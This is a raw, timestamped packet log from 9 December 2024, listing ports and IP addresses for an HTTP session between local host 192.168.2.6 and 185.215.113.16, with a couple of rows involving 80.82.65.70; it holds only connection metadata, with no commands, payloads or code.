Dec 9, 2024 21:09:53.548513889 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.549866915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.549917936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.550551891 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.550563097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.550575018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.550600052 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.550626040 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.551868916 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.551881075 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.551914930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.551928043 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.553055048 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.553105116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.553227901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.553267956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.553967953 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.554008007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.554727077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.554764032 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.554852009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.554862976 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.554889917 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.554915905 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.556098938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.556147099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.556691885 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.556732893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.556946039 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.556957006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.557050943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.558198929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.558212996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.558243036 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.558254004 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.559355021 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.559401989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.559973955 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.560019970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.560235977 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.560272932 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.561037064 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.561086893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.561332941 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.561374903 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.562371016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.562381983 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.562393904 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.562414885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.562443972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.563486099 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.563527107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.563823938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.563863039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.564604998 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.564661980 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.564889908 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.564928055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.565843105 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.565896034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.565995932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.566036940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.566905022 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.566956997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.567235947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.567272902 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.568116903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.568156004 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.568320036 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.568357944 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.568959951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.569272041 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.569365978 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.569406033 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.570209980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.570255041 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.570272923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.570312977 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.571155071 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.571203947 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.571321011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.571357012 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.572208881 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.572220087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.572257996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.573265076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.573327065 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.573441029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.573496103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.574438095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.574481010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.574716091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.574873924 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.575356007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.575412989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.575798035 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.575838089 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.576473951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.576486111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.576527119 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.577598095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.577716112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.577748060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.577789068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.578564882 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.578825951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.578874111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.579674006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.579725981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.579832077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.579873085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.580782890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.580822945 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.581090927 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.581130981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.581810951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.581850052 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.582099915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.582138062 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.582909107 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.582959890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.583017111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.583056927 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.584105968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.584150076 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.584266901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.584301949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.585089922 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.585129976 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.585396051 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.585444927 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.586186886 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.586227894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.586394072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.586431980 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.587277889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.587325096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.587481022 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.587523937 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.588341951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.588383913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.588658094 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.588696957 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.589416981 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.589468956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.589799881 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.589854956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.590514898 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.590562105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.590861082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.590903997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.591607094 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.591650963 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.591809034 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.591846943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.592797041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.592840910 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.592945099 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.592988968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.593869925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.593914032 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.594230890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.594270945 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.594822884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.594890118 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.595187902 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.595262051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.595995903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.596048117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.596276999 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.596316099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.597060919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.597100019 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.597202063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.597735882 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.598117113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.598220110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.598274946 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.599138021 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.599549055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.599590063 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.600260019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.600298882 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.600435019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.600482941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.601326942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.601370096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.601527929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.601568937 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.602488041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.602538109 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.602559090 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.602613926 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.603490114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.603533030 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.603681087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.603820086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.604594946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.604634047 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.679863930 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:53.679927111 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:53.742546082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.742729902 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.742780924 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.742902994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.742913961 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.742949963 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.743999958 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.744052887 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.744246006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.744975090 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.745101929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.745137930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.745249033 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.745295048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.746126890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.746290922 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.746334076 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.747191906 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.747697115 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.747725010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.747834921 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.748249054 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.748337030 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.749032974 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.749073982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.749339104 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.749381065 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.749500990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.749988079 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.750435114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.750663042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.750715017 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.751487017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.751530886 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.751686096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.752335072 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.752614975 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.752661943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.752904892 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.752985001 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.753746033 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.753839016 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.754014969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.754054070 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.754738092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.754789114 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.755079985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.755307913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.755943060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.755983114 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.756017923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.756062984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.756997108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.757050037 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.757272005 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.757329941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.757997990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.758048058 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.758102894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.758140087 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.759064913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.759125948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.759159088 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.759196997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.760191917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.760607004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.760658979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.761259079 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.761312008 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.761470079 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.761507034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.762434959 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.762479067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.762811899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.762964010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.763715982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.763767958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.763770103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.763808966 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.764523983 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.764534950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.764586926 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.765566111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.765624046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.765969038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.766016960 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.766735077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.766913891 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.766947031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.766966105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.767771959 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.767829895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.767971039 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.768018961 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.768822908 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.768866062 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.769007921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.769046068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.769906998 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.770142078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.770153999 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.770179033 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.771085978 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.771152973 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.771207094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.772102118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.772238016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.772284985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.773166895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.773252010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.773874044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.773912907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.774265051 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.774276018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.774303913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.774319887 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.775444984 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.775500059 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.775717020 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.775758982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.776407957 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.776510954 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.776632071 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.777488947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.777534962 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.778106928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.778220892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.778565884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.778604031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.778902054 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.778948069 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.779726028 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.779833078 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.780009031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.780049086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.780718088 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.780936956 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.780994892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.781821966 CET	80	49969	185.215.113.16	192.168.2.6
